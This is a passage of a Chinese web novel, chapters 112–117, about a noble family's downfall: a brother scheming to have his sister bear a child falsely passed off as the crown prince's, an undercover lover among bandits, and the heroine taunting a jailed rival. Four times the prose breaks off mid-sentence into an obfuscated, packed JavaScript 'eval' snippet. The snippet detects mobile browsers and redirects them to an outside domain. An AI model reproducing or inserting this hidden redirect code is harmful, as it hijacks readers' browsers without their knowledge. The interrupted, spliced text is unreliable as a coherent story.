接二连三的噩耗,跪在灵堂上的侯夫人再次晕了过去。 第112章 他终于把喻初晴的计划看透了 桑怀安恨自己太坚强,晕不了一点! “府尹大人,打算如何处置大哥?” 他很平静地接受了“桑怀民杀了个人”的这个消息。 真的。 不是他这个人冷漠寡情,实在是麻木了! 不听劝的下场! 长随答道:“张大人历来自诩公正严明,是青天大老爷。发生了这样的事,自然是要立案调查。表示不会冤枉大公子,也绝不会让真凶逍遥法外!” 桑怀安笑了。 气笑的。 他也混官场,不是父亲那种毫无建树的,焉能不知张太鑫是个老滑头? 什么事都会找到一个冠冕堂皇的理由,好让自己永远不沾荤腥,双手干干净净! 只是,他没想到,不仅张太鑫是这样的人,他的好妹妹——喻初晴,竟然也是长袖善舞! 并且,喻初晴隐蔽多了! 他问:“上次我让你去查的,张太鑫跟喻初晴有什么关系,查到了吗?” 长随答道:“查到了,也不难查。张大人的母亲病重,请了很多大夫都治不好,是大小姐……是永安县主治好的。并且,永安县主隔三差五把张老夫人养病要服用的珍贵药丸,命人送去张家!” “难怪她一有事,张太鑫比谁都上赶着!”桑怀安这才知道,奸猾如张太鑫,为何所有跟喻初晴有关的事,总会难免偏帮! 尽管做得非常细微,却并非没有任何蛛丝马迹。 而喻初晴也是手腕高明。 她明明利用了张太鑫帮她,却尽可能不让人察觉! 他又笑了下:“我这位曾经的妹妹,还真的是有很多惊喜是我不知道的!” 想到县主府乔迁宴那日,她压根不发喜帖,也有一群权贵前来庆贺。 尤其是有些个眼高于顶的公子、贵女,南阳侯府这种门第,盛情邀请他们都未必肯赏脸的,却不请自到! “喻初晴,手里到底还有多少筹码?”桑怀安越发觉得前途无亮。 如果他要对付喻初晴,她太能隐藏实力了,连硬碰硬他都没资格说! 但—— 若是祸水东引呢? “二公子,大公子的事怎么办?” 长随的话,把桑怀安从深思中拉出来。 他应:“发生这样的事,喻初晴明显会摁死大哥,大哥是彻底没救了。那就让京兆府公事公办吧,省得我去营救,也是送菜!” 说着,他负手到身后,道:“喻初晴的意思已经很明显,父亲必定是捞不出来的,四弟那边也完全不可能翻身。我们先把侯府卖了,筹集一些银两,带着母亲搬到偏一点的、便宜点的宅院去。” “事到如今,我如何还看不出来,喻初晴是在报复我们!” “她把表面功夫做得太漂亮,所有人都被她瞒天过海!实际上,她一步一步的,把我们引入坑里,再一个一个的,把我们送上绝路!” 他仰头看着黄昏苍茫的天际,喃喃说道:“下一个,不是我、就是阿雪!” 长随心惊不已:“公子,难道放弃与永安县主修复关系了?” “你觉得有可能修复吗?”桑怀安这时候比谁都清醒:“从前我可真是小看了她,不知道她竟然心机这般深沉,谋算竟然这般深远!只怕是,她从南阳侯府净身出户的那一日起,她已经做好全盘计划了!” 的确,他终于把喻初晴的计划看透了。 然,棋局已经输子大半! 求饶,是不可能活的。 唯一的办法便是—— 求援! 敌人的敌人,就是朋友! 正说着,桑雪回来了。 “二哥,母亲病倒了,是吗?” 看到她,桑怀安脑海里浮现的第一句话竟然是:难道,喻初晴下一步,是阿雪? 不然,一直被太子禁足的桑雪,昨夜还将太子彻底得罪死了,怎么能从太子府里出来? 桑怀安难免有些害怕。 但他也知道,怕没有用! 他定了定神,回答:“是的,大哥在牢里杀了人,听说这个消息,母亲便晕过去了。阿雪,你先上一炷香,然后去看看母亲,再把丧服换上吧。” “好。” 桑雪去看了侯夫人。 侯夫人是醒来了。 面对桑雪,只顾着拉着她的手哭哭啼啼的,不断地诉说自己的不幸。 听了好一会儿,半句有用的话也没有说出来! 这时候,桑雪难免想起来喻家的娘亲。 同样生了那么多胎,侯夫人的身子骨,比白婉蓉的利索多了。 但! 白婉蓉外柔内刚。 表面上像一泓秋水,在黄昏的金色阳光下,软和温柔、波光潋滟。 内里,她却是相当稳得住的一个人。 一个能让丈夫疼爱自己二十多年如一日的女人,不是仅凭柔弱就可以的。 所有儿子对她分外孝顺,固然有父亲做榜样的前提,更大的原因还是因为: 白婉蓉不仅御夫有术,训子更是有一套! 没有对比,就没有伤害。 侯夫人实在是…… 一无是处! 桑雪的手被侯夫人握着,侯夫人的眼泪掉在了她的裙子上,令她对此感到厌烦。 她心想: 我到底是为了什么,才一定要回来认这个亲? 回来后,我得到了什么? 不管得到什么,她都觉得:好像失去的,比得到的,更多? 桑家的兄长和弟弟,没有一个对她有耐心的; 父亲只有接她回来的时候热情,后来便只想着接触宁亲王,把她送去做妾室; 母亲就不说了,扔给她一堆烂账,遇到什么事只知道哭。 早知如此,还不如留在喻家呢。 唉,就是后悔! 在侯夫人跟她诉苦的时候,她差点也哭了出来:毕竟,她也是真的苦啊! 母女俩各想各的,见侯夫人依旧没完没了说个不停,桑雪忍不住了。 “母亲,二哥让我去换丧服,给祖母守灵呢。” 好不容易脱身,她松了一口气。 回了自己原先住的院子,换了丧服出来,就见桑怀安站在漆黑的院子里。 整个院子一个人都没有,灯火只留下一盏! “二哥,你特意在这里等我,有事?” “阿雪,我要跟你商量一件事。” 桑雪也知道:现在谁都靠不住了,只能靠这个二哥! 她点头:“好,二哥请说。” 桑怀安先问:“昨夜得手了么?” 提到这件事,桑雪难免有些难为情:“得了,但也让我喝了避子汤!” 闻言,桑怀安的脸色瞬间变差了。 他捏了捏拳头:“不行,你必须怀上孩子!” 桑雪又不是不想,但问题是:“太子不愿意碰我。” 孰料,她那本就不熟悉的二哥,竟然说了句让她震惊无比的话—— “未必一定要是太子的孩子!” 第113章 给自己的亲妹妹拉皮X 桑雪差点以为自己听错了! “二哥,你说什么?” 她再傻,也不可能不知道,混淆皇室血脉是死罪! 再说了:“就算我怀上了,以太子的狠心,难道他不会逼迫我落胎吗?万一让他知道我找其他人怀孩子,栽在他头上,他不会打死我吗!” 她已经很后悔回到桑家来,走到今天这地步了。 然而,桑怀安却道:“太子要亲征响马盗了!他不在的时候,你也尽量遮掩一些,等身边的人发现你怀上,把这件事闹到皇上和皇后面前,这个孩子便一定能留下来。到时候太子不在,时间又刚好对得上,便无可辩驳!” 本朝皇子成婚晚,婚前生子的不是没有。 但目前为止,全都是女孩儿,尚未有正儿八经的皇孙! “只要你生下一个男孩,那这个孩子就是皇长孙!”桑怀安想的很好:“你以为太子能容你到几时?若有个孩子傍身,你的处境会好很多!” 桑雪直觉荒谬:“二哥,当初我就不该听你的,去爬太子的床!现在你又让我做这样的事,岂非一步错、步步错?” 如果没爬太子的床,让父母给她订一门亲事,并非难事啊。 哪怕不嫁继承人,只是嫁个嫡次子也好啊。 她后悔**! 可世上没有后悔药。 哪怕有,她的二哥也不想给她吃! “阿雪,由不得你选择了。人我已经找好,你不趁着这个机会尽快怀上孩子,先不说太子会如何处置你。只说喻初晴……她也不会放过你的!怀一个孩子,是你的保命符,知道吗?” 桑怀安说得苦口婆心。 桑雪不想听,但她逮住了个重点:“喻初晴?她想害我?” “你觉得没可能吗?”桑怀安反问。 他把现在家里的情况一一掰碎了给她分析,处处都代表着,喻初晴要报复桑家所有人! 桑雪的智商的确不高,很好忽悠——上次忽悠她去爬床就是的,一拍即合。 听桑怀安说完,南阳侯府里的一步步都是喻初晴谋算至此,她瞪大眼睛。 一时间心乱如麻:“你的意思是,她还要杀我?但我又没有害过她!” “你真没有羞辱过她吗?”桑怀安平静地问:“即便没有。难道喻初晴就不会想着,替她爹娘、她哥哥弟弟出气吗?” 他嗤笑:“我跟她做了十七年的兄妹,她有多睚眦必报,我能不比你了解?” 桑雪整个惊骇住了! 在她发愣的时候,桑怀安指了指她院子里的厢房:“二哥给你安排了人,这几日在家中守灵,你便什么都不要做,多接触接触。否则,以后就再也没有翻身的机会了!” 接触接触…… 最是薄情读书人! 给自己的亲妹妹拉皮条,这种事被他说得如此文雅! “二哥……”桑雪还是有些质疑的:“可若这件事东窗事发……” “不会!”桑怀安拍了拍她的肩膀,用无比肯定的眼神与她对视,道:“你放心,二哥已经想好了翻身的计策。如今整个桑家就剩下母亲、我和你三人了。母亲靠不上你也知晓,不就只能我们兄妹俩相依为命了吗?” 他握住桑雪的肩膀,将她往准备好的厢房那边推:“至于这个人你也不用担心,确定你怀上后,二哥会送走他的。保证不会成为把柄,这件事绝对天衣无缝!” 桑雪有些犹豫:“二哥,我还是不想这样……” 她宁愿去勾搭太子一百次,哪怕每次都要吓个半死。 也不想跟另外一个男人…… 而且能被轻易“送走”的,也不会是什么好男人! 但,她的拒绝不是很坚定,桑怀安很快把她推到了厢房门前,道:“阿雪,若能一举得男,母凭子贵,我们的荣华富贵就稳了!” 最终,母凭子贵四个字,进了桑雪的耳朵。 她情不自禁去想:假如我生了个儿子,是皇长孙。即便太子不喜欢我,整个皇家都看不起我,却也不会容忍皇室血脉流失在外! 等到太子登基,我好歹也算皇子的生母! 不是皇室血脉,只要不冒头就好! 想着想着,她脑子就有些乱了。 不自觉的认为:只要我生出儿子,不管是跟哪个男人生的,都必须是太子的! 她推开了那扇门—— 桑怀安找的男人,长得还可以,就是:看上去就知道他很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15469578|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穷。 即便是穿着桑怀安给的华贵衣裳,骨子里的泥腿子气质,也是不容忽视的! 桑雪虽然是农女出身,但她真正接触的泥腿子并不多。 住在光明村的十七年,村子里的人都没有特别猥琐的。 尤其是对她,都是比较尊重。 而喻家的兄弟,个个人中龙凤的出挑,她实在是很难接受自己要跟这样一个男人睡在一起。 “小姐……”那男人说话了:“需要……小人替您更衣吗?” 桑雪更嫌弃了。 但事已至此,箭在弦上不得不发! 她需要生一个儿子! 她便端着千金贵女的架子,道:“不用,你只管弄好自个儿,躺床上去!” 那男人点了点头:“是!” 他脱得只剩下一条裤子,躺在了床上。 桑雪又扔给他一条发带:“把眼睛蒙上!” 男人这就不能理解了:“小姐,我都已经见过你了。把眼睛蒙上,我什么都看不见啊!” “不用你看见,我能看见就行。” 桑雪已经不是处子,经过昨夜,那种事她已经会了。 这一次,她不打算让男人压在自己身上,而是要掌控**! 男人愣了下。 想到事成之后,桑二公子会给自己银子,到时候父亲治病的钱就有了,他便顺从了桑雪的安排。 桑雪心里嫌弃得不行,却不得不去做这样一件事—— 她没有卸下钗环、没有脱去上衣,只脱了裤头,爬了上去跪坐在上方。 仿佛这样做,她好像没有跟其他男人做过不轨之事! 早晨从太子的床上下来,晚上就跟一个不知道叫什么名字的男人上了床! 这一次,不痛了。 但桑雪还是落下了泪:老天保佑,我都牺牲这么大了,一定让我一举得男啊! 桑老夫人终于出殡了,南阳侯府的丧事终于办完。 萧条自不用提。 办完丧事,侯府要出售的消息,便传开了。 永安县主府。 喻初晴唇角勾着一抹笑,看向坐在对面的喻昔词,道:“大哥,该你出手了!” 第114章 弱风扶柳美少年 喻昔词也跟着一笑:“放心,大哥已经派人去做这件事了。先让人走几轮低价,散一些**出去,尽可能把价格压低一些。” “大哥睿智。”喻初晴冲他竖了个大拇指,眸光落在桌面的笔架上。 思绪不由飘到某个人身上了。 她说道:“最多一个月内,希望能把后续的事办妥,我们也就可以回南方了。” 她没说“回祖籍”,而是回南方。 因为,她必须先去南陵,确定萧风岚的状况! “好!” 喻昔词顿了顿,还是想问一件事:“你那个……相好的,最近是不是没来了?” 喻初晴一顿,转头过来看向自己大哥。 “看你情绪好像不太高。”喻昔词如实说道:“只是吵架了,还是分开了?” 旁观者清。 她说得潇洒,也许真断了也的确拿得起放得下。 但,心情阴郁一段时间,在所难免。 喻初晴无奈地笑了笑,道:“没有。” 她不想多说。 毕竟,那狗东西姓萧! 喻昔词道:“若人不错的话,你可以让他来家里,哥哥们给你把把关。你若愿意,早日订亲也挺好。” 他说出自己的担忧:“你站太子阵营,太子对你有心思。还是防着点好!” “嗯,我知道了。” 喻初晴这么说,代表关于这件事,她并不想让家里人插手。 看得出来她不想多谈,喻昔词也就没再赘言。 知道她事情很多,他自己也很忙,便回自己的院子去了。 喻初晴坐在原位,一会儿之后站起来,去了存放信匣的地方。 开锁,拿出里面的书信。 合欢整理得很好,全都是按照时间顺序一封一封排列整齐的。 她从中间随机挑选了一封,快速浏览起来。 萧风岚喜欢写草字,龙飞凤舞的,煞是好看。 在一起一年多来,她很少给他回信,即便有也是三言两语,只说正事。 她将手里的放回原处,又翻出最后一封,看着最后那两个分外潦草的“勿念”二字。 在一起这么长时间,从未分别这么久! “狗东西,你可千万不要出什么岔子!你要是折在了外头,保证明年的今日,我就养至少三个男宠!” 反正,她大哥都不反对! 长丰郡。 距离皇朝南方的陵园,约摸有一百里地,是近段时间声名鹊起的响马盗的大本营。 如今的响马盗,已经有了过万人马。 形成了规模后,逐渐有了正规军的样子,也有了一个正式的名称: 常家军。 领头的是一对姓常的兄弟,一个叫常胜,另一个叫常利。 起先,他们是一窝山匪。 跟别的山匪不一样,他们没有把自己的山头取名叫“XX寨”,就是平平无奇的常家村。 日常跟普通的山民无异。 在需要养家糊口的时候,就各自带刀骑马出去**掳掠。 后来,他们得了“神秘力量”的帮助,慢慢脱离了山匪的身份,势力日益壮大,分散在各处。 再后来,背后的支持给他们注入了大批量的精良武器,并且给他们指了一条明路,让他们去南陵盗墓。 随后,将所有分散各地的势力整合在一起,靠着“神秘力量”给的内部消息,屡战屡胜。 常胜和常利兄弟,就成了这些势力的总头目。 常胜是总舵主,常利则是副舵主。 每天晚上,总舵这边都会有较武大会。 无论是头目和手下,全都可以参与切磋,日日锻炼他们的血性。 若能在较武大会上胜出,露两手自己的绝活,说不定还能得到提拔。 常利坐在火堆旁边的矮桌旁,看着场子里的比斗。 欢呼声四起。 忽然,一道和煦的声音,宛如秋风送爽一般,驱散了夏末的酷热: “副舵主!” 一名身形颀长、长相精致的美少年,提着两坛子酒走到火堆旁。 他将其中一坛子递给了常利,道:“常二哥,我刚刚听他们说,太子即将亲征,粮草已经动了。只要点兵完毕,就要南下。是不是真的?” 常利是个三十岁的精壮汉子,为人很是豪爽。 他接过酒坛子,当即闷了一口,哈哈笑道:“太子来了正好,杀了他祭旗,扬我军威!到时候,肯定会有更多兄弟加入,届时……” 后面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15474500|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的话没有说。 那美男子笑了笑,提着酒坛子与常利的酒坛子碰了碰,道:“届时,咱们就可以北上了!” “一定!”常利很是高兴。 近期他们的每一次行动都很顺利。 这才多久,就从五千精兵,增加到了一万。 附近的三哥州郡,都已经落入他们囊中了! 美少年肉眼可见的兴奋:“等到我们踏破帝京城门那一刻,我就要昂首挺胸回到家里去,将欺凌过我的人踩在脚底下!我看他们还说我是废物不!” 常利一顿。 额…… 虽然,但是。 废物好像也没说错? “不过……”美少年面露担忧:“咱们只有一万人,倘使太子拿到个五万人马,还是不太好对付啊。” “放心吧!”常利哈哈大笑:“咱们朝廷里有人,必定不会让太子拿到五万兵马的!皇朝已经数十年没有开战过了,武将门庭长草,一个个白白胖胖养尊处优,武艺都荒废了!就那些酒囊饭袋,咱们的弟兄随便拉个出去,都能一个打三个!” 美少年一边听着,一边点头:“对对对,虽说我被家里赶走已经两三年了,但我还是记得,尤其以南阳侯府那群蠢驴最好笑!他们都拿不动刀了,哈哈!” 常利听得很是振奋,一掌拍在他的肩头:“你熟门熟路,到时候可要带你二哥我见识见识帝京的好事儿!” “哎呀。”重重的一掌落在肩头,美少年弱风扶柳地往旁边一倒。 常利愣了下,赶忙把他扶起来,很是无语地道:“忘了,你是个文弱书生,还受了伤!” 美少年腼腆一笑,张口就是反驳:“我才不文弱!” 他抬起手臂,捏拳做了个比上臂肌肉的姿势:“我有肌肉的!” 常利心想:鸡肉吧? 但,知道少年好脸面,他很捧场地哈哈大笑:“是是是,瞧你长得多么高大威猛。” 这话,绝对是恭维。 眼前这美少年虽然长得很高,非常出挑的一个人。 但,一身书生儒袍穿着,小风一吹,那弱不禁风的感觉便出来了。 明明他什么都不做,就是让人觉得他有那么几分可怜。 叫人实在对他狠不下心! 第115章 想她,想到哭 少年人,长的是唇红齿白。 酷热的夏天晒了那么久,他也没怎么晒黑。 白瞎了那么大的个头,日常一桶水都提不动,真正的手无缚鸡之力! 人是很热情,天真又单纯,跟谁都能交好,整个总舵找不出一个讨厌他的人。 但,他隔两天就要闹出点祸事来。 不是今天帮忙搬兵器,砸肿了脚,就是明日帮忙做饭,火烧了厨房! 昨天,这少年自告奋勇,去大夫的帐子帮忙照顾伤患。 伤患倒是没什么事,他自己却不小心吃错了药,**晕倒了! 晕倒了也就算了,就没见过这么倒霉催的。 他倒下的时候,正巧碰倒了一旁的兵器架,那么大一个**砸下来,落在他肩头。 瞬间血红一片! 于是,本来说好了常胜今天要带他去杀敌的,他就去不成了! 按说,他们常家军实力惊人,不可能收这么个废物。 但架不住人很废物,却实在长得美丽。 脑子不太灵光,却很讲义气。 上次,常利去隔壁的永宁郡跟人谈事,被人算计,险些丢了命。 逃亡途中遇见了这美少年,他一身的血把少年吓得脸色惨白惨白的。 但这少年只听了他一句“有人追杀我”,便同情心泛滥。 什么都没问,便背着他狂命奔跑。 在追兵赶上来之时,甚至舍生取义,挡在他面前挨了两刀! 当时常利就把他带回来了。 伤势不是很重,却天天叫苦连天,换药的时候还疼得哭鼻子! 好在,年轻就是好,养伤很快。 嘴甜、性子好,长相美丽。 除了比较废物外,没有任何缺点! 美少年仿佛听不出来常利是恭维自己的,瞪大眼睛,惊喜地道:“真的吗?” 他拍着自己瘦弱的胸,道:“我这样的,也能算威猛吗?常二哥你不是骗我的吧?” 一双漂亮的眼睛里,仿佛装着星空,看着常利的眼神,让常利脑海里下意识浮现一句话: 士为知己者死! “骗你干什么!”常利哈哈大笑,又跟他碰了一坛,喝了一大口,道:“过几日太子南下了,我就要带兵出战,会顾不上你。你记住哪儿也不要去,留在总舵里,知道吗?” 反正,谁也没打算带他杀敌了的。 少年天真无邪地道:“好嘞!常二哥打了胜仗,记得给我在城里买小油鸡,我要吃两个鸡腿!” 常利满口答应:“好好好,三个都行!” 哥俩好喝完了酒,少年说自己伤口有点疼,回了自己居住的营房。 刚进门,他就发现:有人来过! 站在门口张望,看见地上的尘土上写着一个字:樵。 他终于放心,迈步进入关上门,用鞋尖将字迹踢乱。 旋即来到桌旁,果然从桌脚下面,拿出来一张纸。 上面只有三个字: 盼君安。 是喻初晴的字! 他眼里瞬间迸发出欣喜之色,在心里默念:晴晴,可算是给我回信了! 此人,自然是萧风岚! 他们俩在一起搞地下情那么久,他写的信很多,但她极少有回音。 好不容易等到了一封信,也只有三个字。 好吧,就当是他现在处境不能暴露身份,她做事又习惯谨慎。 即便是这只有三个字的纸张,他也只能依依不舍地丢进了一旁的纸炉里。 身为副舵主的救命恩人,他这个文弱书生的待遇很好。 常家军里,大字不识一个的占大多数。 他读书识字,能帮他们写家书,所以他这里文房四宝很是齐全,条件还不错。 看着火舌迅速卷上纸张,“盼”字很快没有了,“君”也没了。 最后一个“安”字烧掉,萧风岚眼眶有点红。 在一起后,不是没有过离别。 可,他从未离开过喻初晴有这么长时间! 一个多月了! 一个多月见不到、抱不到、亲不到…… 他闭了闭眼,按着心口有窒息感,难受**! 不知道晴晴那边怎么样了? 以她的才智,收拾区区的南阳侯府不过小菜一碟,再来三个都不足为惧。 何况,她现在身边有真心疼爱她的家人。 喻慕文去国子监、喻尚武去东宫,但喻昔词却是时常陪着她的,她的安全不用担心。 就是…… 就是他实在是想她! 独自一人躺在空床上,抱着小被子,萧风岚有了思乡之情。 想哭。 当然,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15474501|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这边的事,喻初晴是不知道的。 知道不了一点! 离开帝京即将进入倒计时,她已经把所有商务上的事,跟钱利来交接好了。 只等南阳侯府的匾额摘下,她就可以立刻动身! “县主,桑老夫人丧事的后两日,桑雪回去守孝,没有出过门。” 腾云将查探到的消息禀报:“她连灵堂都没去,一直在自己的院子里。这两日内,她的院子除了桑二公子,没有其他人靠近,很是诡异。” 南阳侯府里的事,很好打探。 喻初晴在那里住了五年,关系经营得还是不错的。 她问:“桑怀安可有什么动作?” 腾云摇头:“没有什么特殊的举动,办完了老夫人的丧事后,他命人放出消息要变卖侯府,便开始张罗新的住所。翰林院那边,也没有任何缺勤。” 喻初晴挑眉:“桑雪在侯府的院子,仍旧盯着吧?” 腾云颔首:“是的。因为实在是太奇怪了,所以婢子不敢放松,即便是桑雪离开了侯府、回了太子府,那院子依然有人死盯着。” 喻初晴微笑。 有古怪才好啊。 他们什么都不做,她才难做! 且说,关在房里两天的桑雪,回了太子府。 为了顺利怀上男胎,桑雪接受了桑怀安找人弄来的偏方生子丸! 生子丸非常难吃,她还是咽了下去。 是否能怀上孩子,是需要等消息的。 还没等到中奖的好消息,倒是等来了京兆府对桑怀民的审判—— 人犯桑怀民,杀害狱友王三,按本朝律例,**者本当偿命。念其事出有因,且是王三挑衅在先,特网开一面。革其官家子身份,充军,三日后跟随流放队伍,送去西北军营! 消息传开,好一阵唏嘘。 堂堂的南阳侯府大公子,曾经何等风光恣意,不曾想,竟落到如此田地! 有点脑子的,也能明白:说来说去,是脑子不灵光,招惹了不该招的人! 正常流放,不会这么着急的。 桑怀民这案子,背后如果没有人推动落实,脑袋都可以摘下来当球踢! 流放这一日。 喻初晴亲自来到了京兆府的监牢。 看见她,桑怀民的眼睛里仿佛能喷火:“**,你还敢来见我!” 第116章 **诛心 永安县主过来,张太鑫自然是放下了所有事情,亲自作陪。 但他情商高,并不打扰喻初晴,带着其他人在外头候着。 出这趟门,喻初晴只带了合欢和木棉。 她没有进入牢房。 所谓穷寇莫追,亡命之徒会做出什么事来,很难预料。 千万不能拿自己宝贵的生命,去跟别人的烂命对赌,不值当! 但她又想来**诛心,自然得做好自保的筹谋。 “别骂了。”她唇角勾着一抹清浅的笑意,不痛不痒地道:“无论你怎么骂我,我都不在意。我不会因为你骂我而少一块肉,也不会因此而气恼。毕竟你在我这里,一文不值!” 喻初晴站在牢栏外面。 王三的事过后,桑怀民便是被独自关押的了。 牢房的环境比原先的“双人间”还差。 她看得心里很痛快:“桑怀民,看起来,你恨死我了呢?” “我恨你,恨不能杀了你!”桑怀民从前没对喻初晴好过,但倒也还没想过杀喻初晴。 他没有沾赌瘾的桑怀志狠毒。 对喻初晴的埋怨,他是最多的。 “无所谓啊,反正你也杀不了我。”喻初晴幽幽一叹,道:“桑怀民,你这人惯来自大,像极了你爹。” “从前我在侯府的时候,你也只有求到我帮忙了,眼里才会有我的倒影。” “大部分时候,你的眼里除了你自己,没有任何人。” “包括你父母亲、你的妻儿。” 她语调平静,面容平淡。 好似在闲话家常一般,随便聊聊。 而牢栏里面的桑怀民,却是气愤不已、恨不能撕碎她! “你帮忙?你什么时候帮过我!如果不是你非要劝说父母亲给我说连家的亲,我根本不需要在屯营里看老丈人的脸色!” “喻初晴,你别装可怜了!你在南阳侯府享受了那么多年的富贵,我们养了你那么多年,你却恩将仇报!将我们谋害至此!” “你不得好死!” 喻初晴依旧不痛不痒。 这跟她在现代的职业有关——霸总的医生朋友! 她那霸总朋友,真的跟言情小说里的差不多,三更半夜传唤她去看病,是常有的事。 但,架不住他给的实在是太多了! 当然,她从来不在意别人的攻击谩骂,还有一个原因: 她会把每一笔账都记在小黑本上,一旦给她找到了合适的时机,就会一笔一笔地清算! 现在,清算的就是桑怀民! “从前也就不说了,你除了在心里怨恨我,时不时在老夫人和南阳侯面前上眼药,让他们训斥我外,倒也没有什么事是能逼得我非要弄死你的。” 听她这么说,桑怀民一怔。 喻初晴又道:“那天,你们发现了桑雪的下落,知道她才是真嫡女。回来后,一家子把我排除在外,商量把她接回、把我赶走。除了桑怀志,就是你叫得最凶!” “桑怀志是个赌徒,急眼了会六亲不认。他认为我挡了他的财路,想要我死,我一点儿也不意外。” “但你……” “如今你也知晓了,南阳侯府穷得很,欠了一屁股债。” “桑家日常开销,所拥有的一切,都是我喻初晴在背后挣来的!” “这都无所谓,毕竟对我而言,手指缝里漏一点,都养得起你们这些废物了。” “可你倒好,赶走我的那一天,竟开口说不让我带走一针一线!” 说到这里,她笑了。 对上桑怀民猩红发狂的眼神,她继续说道:“说真的,知道你们想要赶走我,我松了一口气!因为,离开南阳侯府后,我就不用养着你们这群废物了呀!” “但,你们的做法实在是……” “唉!难看得很呐!” “后来,你不断的找事,一件件、一桩桩!” “虽说,挺招人恨的吧,倒也罪不至死。” “可我一定要把你弄走,赶出帝京!” “你,知道为什么不?” 桑怀民听她主动吐露事情,才恍然明白过来:“是你在背后搞的鬼,是你害我的!” 喻初晴脸上挂着笑意,悠闲地整理自己的宽袖,道:“你想把我净身出户赶出侯府,我想让你一无所有赶出帝京,岂非很公平?” 桑怀民大怒,上手抓住牢栏,怒骂:“喻初晴,你好黑的心!你不得好死!你一定会不得好死!” “我是否好死,你是见不到了。”喻初晴不以为意,摊手,道:“但你呢,肯定不会好死的,现在已经见到啦!” 这话,让桑怀民气**! 他一脚踹在了牢栏上。 但牢栏纹丝不动,反而拉扯到他背后刚刚养好的伤,痛得他面目狰狞! 喻初晴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483131|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又道:“事到如今,我就告诉你。” “你若留在帝京,肯定会一直给我找麻烦。” “非但如此,你还会找连玉的麻烦。” “像你这种人,穷途末路的时候会做出什么事来,无法担保。” “我不可能让你留下来,害连玉没有好日子过!” 提到连玉,桑怀民嘲讽说道:“你好意思提她!要不是你牵头,都没有这桩婚事!你也不是什么好东西!” 他也想扎喻初晴的心。 但喻初晴丝毫没有难受:“我从来没说过,我是好人!” “当初,我不知道自己不是亲生的,胳膊肘自然要往内拐。所有一切有利于我铺路的事,我都会做。” “但是……” “桑怀民,我为你筹谋好前程、为你张罗好婚事,你却恨毒了我!” “既然不是亲生的,你以为我会放过你吗?” 事到如今,桑怀民也心明眼亮了一回:“是不是你故意让连玉过来,让她说那些话激怒我的?” 喻初晴坦然承认:“是。” 她笑道:“但我只是让她来激怒你,你也可以不怒呀。你不怒,就不会**!所以,我只是给你指了一条路,选择走上这条路的人,还是你自己!” “桑怀民,你可真是一点儿也没让我失望呢。我算计好的每一步,你都精准踩中了!” “现在,南阳侯家破人亡,你也是时候孤家寡人地去流放了!” “你放心,你们桑家的人,每一个都会有自己的归宿。” “你们先前一而再地想要害我,我喻初晴,绝不辜负!” “路是自己选的,跪着也要走完,明白吗?” 说到这里,她甚至还倾身四十五度,行了个礼:“祝你一、路、顺、风!” **诛心! **诛心! **诛心! 她设计了这些,害他被流放,竟然还故意说“一路顺风”! 赤裸裸的嘲讽! 桑怀民气**,又开始怒骂。 但喻初晴没再听,转身就走。 远远的,桑怀民还能听到张太鑫殷勤的声音:“县主这是要回去了?下官送您!” 桑怀民气得要死,却只是无能狂怒! 时辰到了,他被戴上了枷锁和镣铐,拉上了囚车。 大牢外面,侯夫人与桑怀安站在那里。 第117章 喻初晴真的好狠啊! 侯夫人还是哭。 以前有喻初晴在的时候,她是很少哭的。 毕竟不管遇上什么事,只要喊“初晴初晴”,喻初晴就能办得妥帖漂亮,轮不上她哭! 自从喻初晴被赶出侯府后,她就很少笑了。 看见她哭哭啼啼的样子,桑怀民更生气:“母亲你烦不烦人!一天天就知道哭哭哭,福气都被你哭没了!我们家弄成现在这样,都是你哭出来的!” “你……”侯夫人瞪大泪眼:“怀民你怎么说话的!我可是你的母亲!家里发生这样的事,都是你们父子冲动,怎么能怪我?” 说什么也没用。 一个家庭里,如果丈夫不尊重妻子的,儿子大概率也不会尊重母亲。 父爱则母静,母静则子安。 在桑文柏眼里,妻子就是生育工具,是打理家业的帮手。 非但没有尊重,还动辄打骂。 